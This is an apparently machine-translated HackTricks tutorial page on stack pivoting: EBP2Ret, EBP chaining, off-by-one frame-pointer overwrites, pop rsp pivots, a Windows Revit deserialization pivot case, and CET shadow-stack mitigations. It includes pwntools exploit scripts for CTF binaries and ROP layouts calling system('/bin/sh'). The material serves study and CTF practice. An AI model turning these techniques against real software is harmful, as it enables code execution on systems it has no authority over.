Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 14 minutes
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Questa tecnica sfrutta la capacità di manipolare il Base Pointer (EBP/RBP) per concatenare l'esecuzione di più funzioni attraverso l'uso attento del frame pointer e della sequenza di istruzioni leave; ret.
Come promemoria, su x86/x86-64 leave è equivalente a:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
E poiché il EBP/RBP salvato è nello stack prima dell'EIP/RIP salvato, è possibile controllarlo manipolando lo stack.
Notes
- Su 64-bit, sostituire EBP→RBP e ESP→RSP. La semantica è la stessa.
- Alcuni compilatori omettono il frame pointer (vedi “EBP might not be used”). In tal caso,
leavepotrebbe non comparire e questa tecnica non funzionerà.
EBP2Ret
Questa tecnica è particolarmente utile quando puoi alterare l'EBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP. Sfrutta il comportamento dell'epilogo della funzione.
Se, durante l'esecuzione di fvuln, riesci a iniettare un fake EBP nello stack che punti a un'area di memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per compensare il pop), puoi controllare indirettamente RIP. Quando la funzione ritorna, leave imposta RSP alla location costruita e il successivo pop rbp decrementa RSP, facendolo effettivamente puntare a un indirizzo lì memorizzato dall'attaccante. Poi ret userà quell'indirizzo.
Nota che hai bisogno di conoscere 2 indirizzi: l'indirizzo dove ESP/RSP andrà, e il valore memorizzato a quell'indirizzo che ret consumerà.
Exploit Construction
Per prima cosa devi conoscere un indirizzo dove puoi scrivere dati/indirizzi arbitrari. RSP punterà qui e consumerà il primo ret.
Poi devi scegliere l'indirizzo usato da ret che trasferirà l'esecuzione. Potresti usare:
- Un indirizzo valido ONE_GADGET.
- L'indirizzo di
system()seguito dal return e dagli argomenti appropriati (su x86:rettarget =&system, poi 4 byte di junk, poi&"/bin/sh"). - L'indirizzo di un gadget
jmp esp;(ret2esp) seguito da shellcode inline. - Una catena ROP disposta in memoria scrivibile.
Ricorda che prima di ciascuno di questi indirizzi nell'area controllata, deve esserci spazio per il pop ebp/rbp derivante dal leave (8B su amd64, 4B su x86). Puoi sfruttare questi byte per impostare un secondo fake EBP e mantenere il controllo dopo il ritorno della prima chiamata.
Off-By-One Exploit
Esiste una variante usata quando puoi modificare solo il byte meno significativo dell'EBP/RBP salvato. In tal caso, la location di memoria che memorizza l'indirizzo verso cui saltare con ret deve condividere i primi tre/cinque byte con l'EBP/RBP originale in modo che una sovrascrittura di 1 byte possa reindirizzarlo. Di solito il byte basso (offset 0x00) viene incrementato per saltare il più lontano possibile all'interno di una pagina/regione allineata vicina.
È anche comune usare un RET sled nello stack e mettere la vera catena ROP alla fine, per aumentare la probabilità che il nuovo RSP punti all'interno del sled e che la catena ROP finale venga eseguita.
EBP Chaining
Posizionando un indirizzo controllato nello slot EBP salvato dello stack e un gadget leave; ret in EIP/RIP, è possibile spostare ESP/RSP verso un indirizzo controllato dall'attaccante.
Ora RSP è controllato e l'istruzione successiva è ret. Metti nella memoria controllata qualcosa del tipo:
&(next fake EBP)-> Caricato dapop ebp/rbpderivante daleave.&system()-> Chiamato daret.&(leave;ret)-> Dopo chesystemtermina, sposta RSP verso il prossimo fake EBP e continua.&("/bin/sh")-> Argomento persystem.
In questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
È simile a un ret2lib, ma più complesso e utile solo nei casi limite.
Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. Questo è il payload finale dalla pagina:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI richiede un allineamento dello stack a 16 byte nei punti di call. Se la tua chain chiama funzioni come
system, aggiungi un alignment gadget (es.,ret, osub rsp, 8 ; ret) prima della call per mantenere l'allineamento ed evitare crash dovuti amovaps.
EBP potrebbe non essere usato
Come spiegato in questo post, se un binario è compilato con alcune ottimizzazioni o con omissione del frame-pointer, il EBP/RBP non controlla mai ESP/RSP. Pertanto, qualsiasi exploit che funzioni controllando EBP/RBP fallirà perché il prologo/epilogo non ripristina dal frame pointer.
- Non ottimizzato / frame pointer usato:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Ottimizzato / frame pointer omitted:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Su amd64 vedrai spesso pop rbp ; ret invece di leave ; ret, ma se il frame pointer è del tutto omesso non esiste un epilogo basato su rbp attraverso cui effettuare il pivot.
Altri modi per controllare RSP
pop rsp gadget
In this page puoi trovare un esempio che utilizza questa tecnica. Per quel challenge era necessario chiamare una funzione con 2 argomenti specifici, e c'era un pop rsp gadget e c'era una leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Consulta la tecnica ret2esp qui:
Trovare rapidamente gadget per il pivot
Usa il tuo gadget finder preferito per cercare le primitive classiche per il pivot:
leave ; retnelle funzioni o nelle libreriepop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(oadd esp, <imm> ; retsu x86)
Esempi:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Pattern classico di pivot staging
Una strategia di pivot robusta usata in molti CTF/exploit:
- Usa un piccolo overflow iniziale per chiamare
read/recvin una grande regione scrivibile (es.,.bss, heap, o memoria mappata RW) e piazzarvi una catena ROP completa. - Ritornare in un pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) per spostare RSP in quella regione. - Continuare con la catena a stadi (es., leak libc, chiamare
mprotect, poireaddello shellcode, poi saltare su di esso).
Windows: Destructor-loop weird-machine pivots (studio del caso Revit RFA)
I parser client-side a volte implementano destructor loop che chiamano indirettamente un puntatore a funzione derivato da campi dell'oggetto controllati dall'attaccante. Se ogni iterazione offre esattamente una chiamata indiretta (una “one-gadget” machine), puoi convertire questo in un pivot dello stack affidabile e in un punto d'ingresso ROP.
Osservato nella deserializzazione di Autodesk Revit RFA (CVE-2025-5037):
- Oggetti creati di tipo
AStringpongono un puntatore ai byte controllati dall'attaccante all'offset 0. - Il destructor loop esegue effettivamente un gadget per oggetto:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Two practical pivots:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget” that contains
8B E0→mov esp, eax, eventuallyret, to pivot from the call primitive to a heap-based ROP chain. - Windows 11 (full 64-bit addrs): use two objects to drive a constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret(move original rax into rbp) - Gadget 2:
leave ; ... ; ret(becomesmov rsp, rbp ; pop rbp ; ret), pivoting into the first object’s buffer, where a conventional ROP chain follows.
Tips for Windows x64 after the pivot:
- Respect the 0x20-byte shadow space and maintain 16-byte alignment before
callsites. It’s often convenient to place literals above the return address and use a gadget likelea rcx, [rsp+0x20] ; call raxfollowed bypop rax ; retto pass stack addresses without corrupting control flow. - Non-ASLR helper modules (if present) provide stable gadget pools and imports such as
LoadLibraryW/GetProcAddressto dynamically resolve targets likeucrtbase!system. - Creating missing gadgets via a writable thunk: if a promising sequence ends in a
callthrough a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step likepop rax ; ret. The sequence then behaves like it ended withret(e.g.,mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.
For full chain construction and gadget examples, see the reference below.
Mitigazioni moderne che interrompono stack pivoting (CET/Shadow Stack)
Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.
- For background and deeper details see:
- Verifiche rapide su Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Appunti per lab/CTF:
-
Alcune distro moderne abilitano SHSTK per i binari CET-enabled quando hardware e glibc lo supportano. Per test controllati in VM, SHSTK può essere disabilitato a livello di sistema tramite il parametro di boot del kernel
nousershstk, oppure abilitato selettivamente tramite i tunable di glibc durante l'avvio (vedi riferimenti). Non disabilitare le mitigazioni su target di produzione. -
Tecniche basate su JOP/COOP o SROP potrebbero essere ancora utilizzabili su alcuni target, ma SHSTK in particolare rompe i pivot basati su
ret. -
Nota Windows: Windows 10+ espone la protezione lato user-mode e Windows 11 aggiunge la “Hardware-enforced Stack Protection” in kernel-mode basata su shadow stacks. I processi compatibili con CET impediscono lo stack pivoting/ROP al
ret; gli sviluppatori si abilitano tramite CETCOMPAT e policy correlate (vedi riferimento).
ARM64
In ARM64, il prologo e gli epiloghi delle funzioni non salvano né ripristinano il registro SP nello stack. Inoltre, l'istruzione RET non ritorna all'indirizzo puntato da SP, ma all'indirizzo contenuto in x30.
Quindi, di default, abusando semplicemente dell'epilogo non si potrà controllare il registro SP sovrascrivendo alcuni dati nello stack. E anche se si riesce a controllare lo SP, sarà comunque necessario un modo per controllare il registro x30.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Il modo per eseguire qualcosa di simile allo stack pivoting in ARM64 sarebbe poter controllare lo SP (controllando un registro il cui valore viene assegnato a SP o perché per qualche motivo lo SP prende il suo indirizzo dallo stack e abbiamo un overflow) e poi abusare dell'epilogo per caricare il registro x30 da uno SP controllato e fare RET su di esso.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. Il programma fornisce un leak per stack o pie e una WWW di un qword. Prima ottieni il leak dello stack e usi la WWW per tornare e ottenere il leak del pie. Poi usi la WWW per creare un loop "eterna" abusando delle entry di
.fini_array+ chiamando__libc_csu_fini(more info here). Abusando di questa scrittura "eterna", viene scritto una ROP chain in .bss e si finisce per chiamarla pivotando con RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — dettagli su SHSTK,
nousershstk, flag in/proc/$PID/status, e abilitazione tramitearch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks